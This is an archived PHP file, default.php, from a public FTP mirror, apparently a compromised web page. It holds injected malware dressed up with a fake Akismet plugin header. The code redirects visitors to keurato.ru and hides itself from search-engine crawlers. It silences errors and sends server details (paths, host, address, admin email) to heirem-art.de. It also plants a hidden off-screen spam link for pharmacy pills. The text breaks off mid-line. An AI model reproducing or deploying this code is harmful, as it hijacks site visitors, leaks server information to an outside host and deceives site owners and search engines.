home *** CD-ROM | disk | FTP | other *** search
/ ftp.t-online.hu / ftp.t-online.hu.tar / ftp.t-online.hu / public_html / uncensoredperformans / default.php < prev   
Text File  |  2015-06-10  |  6KB  |  138 lines

  1.  
  2.  
  3. <?php
  4. header("HTTP/1.1 301 Moved Permanently");
  5. header("Location: http://keurato.ru/something?flow1");
  6. exit();
  7. ?>
  8. <?php
  9. #ea05e2#
  10. /**
  11.  * @package Akismet
  12.  */
  13. /*
  14. Plugin Name: Akismet
  15. Plugin URI: http://akismet.com/
  16. Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key.
  17. Version: 3.0.0
  18. Author: Automattic
  19. Author URI: http://automattic.com/wordpress-plugins/
  20. License: GPLv2 or later
  21. Text Domain: akismet
  22. */
  23.  
  24. /*
  25. This program is free software; you can redistribute it and/or
  26. modify it under the terms of the GNU General Public License
  27. as published by the Free Software Foundation; either version 2
  28. of the License, or (at your option) any later version.
  29.  
  30. This program is distributed in the hope that it will be useful,
  31. but WITHOUT ANY WARRANTY; without even the implied warranty of
  32. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  33. GNU General Public License for more details.
  34.  
  35. You should have received a copy of the GNU General Public License
  36. along with this program; if not, write to the Free Software
  37. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  38. */
  39.  
  40. if( empty( $ob ) ) {
  41.     if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match(
  42.             "/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i",
  43.             $_SERVER['HTTP_USER_AGENT']
  44.         )
  45.     ) {
  46.     } else {
  47.         error_reporting( 0 );
  48.         @ini_set( 'display_errors', 0 );
  49.         if( !function_exists( '__url_get_contents' ) ) {
  50.             function __url_get_contents( $remote_url, $timeout )
  51.             {
  52.                 if( function_exists( 'curl_exec' ) ) {
  53.                     $ch = curl_init();
  54.                     curl_setopt( $ch, CURLOPT_URL, $remote_url );
  55.                     curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
  56.                     curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
  57.                     curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds
  58.                     $_url_get_contents_data = curl_exec( $ch );
  59.                     curl_close( $ch );
  60.                 } elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) {
  61.                     $ctx = @stream_context_create(
  62.                         array(
  63.                             'http' =>
  64.                                 array(
  65.                                     'timeout' => $timeout,
  66.                                 )
  67.                         )
  68.                     );
  69.                     $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx );
  70.                 } elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) {
  71.                     $handle = @fopen( $remote_url, "r" );
  72.                     $_url_get_contents_data = @stream_get_contents( $handle );
  73.                 } else {
  74.                     $_url_get_contents_data = __file_get_url_contents( $remote_url );
  75.                 }
  76.                 return $_url_get_contents_data;
  77.             }
  78.         }
  79.  
  80.         if( !function_exists( '__file_get_url_contents' ) ) {
  81.             function __file_get_url_contents( $remote_url )
  82.             {
  83.                 if( preg_match(
  84.                     '/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
  85.                     $remote_url,
  86.                     $matches
  87.                 )
  88.                 ) {
  89.                     $protocol = strtolower( $matches[1] );
  90.                     $host = $matches[2];
  91.                     $path = $matches[3];
  92.                 } else {
  93. // Bad remote_url-format
  94.                     return false;
  95.                 }
  96.                 if( $protocol == "http" ) {
  97.                     $socket = @fsockopen( $host, 80, $errno, $errstr, $timeout );
  98.                 } else {
  99. // Bad protocol
  100.                     return false;
  101.                 }
  102.                 if( !$socket ) {
  103. // Error creating socket
  104.                     return false;
  105.                 }
  106.                 $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
  107.                 $len_written = @fwrite( $socket, $request );
  108.                 if( $len_written === false || $len_written != strlen( $request ) ) {
  109. // Error sending request
  110.                     return false;
  111.                 }
  112.                 $response = "";
  113.                 while( !@feof( $socket ) &&
  114.                     ( $buf = @fread( $socket, 4096 ) ) !== false ) {
  115.                     $response .= $buf;
  116.                 }
  117.                 if( $buf === false ) {
  118. // Error reading response
  119.                     return false;
  120.                 }
  121.                 $end_of_header = strpos( $response, "\r\n\r\n" );
  122.                 return substr( $response, $end_of_header + 4 );
  123.             }
  124.         }
  125.  
  126.         $ob['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
  127.         $ob['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
  128.         $ob['PHP_SELF'] = $_SERVER['PHP_SELF'];
  129.         $ob['HTTP_HOST'] = $_SERVER['HTTP_HOST'];
  130.         $ob['REDIRECT_STATUS'] = $_SERVER['REDIRECT_STATUS'];
  131.         $ob['SERVER_NAME'] = $_SERVER['SERVER_NAME'];
  132.         $ob['SERVER_ADDR'] = $_SERVER['SERVER_ADDR'];
  133.         $ob['SERVER_ADMIN'] = $_SERVER['SERVER_ADMIN'];
  134.  
  135.         $ob = __url_get_contents(
  136.             "http://heirem-art.de/crpzw3bh.php" . "?fid=14002621&info=" . http_<div id="hbbspth" style="left: -4085px; position:absolute">
  137. <a href="http://www.storesvenitiens.ca/produit/med/medstore/orlistat-cheap.html">cheap orlistat</a>
  138. </div>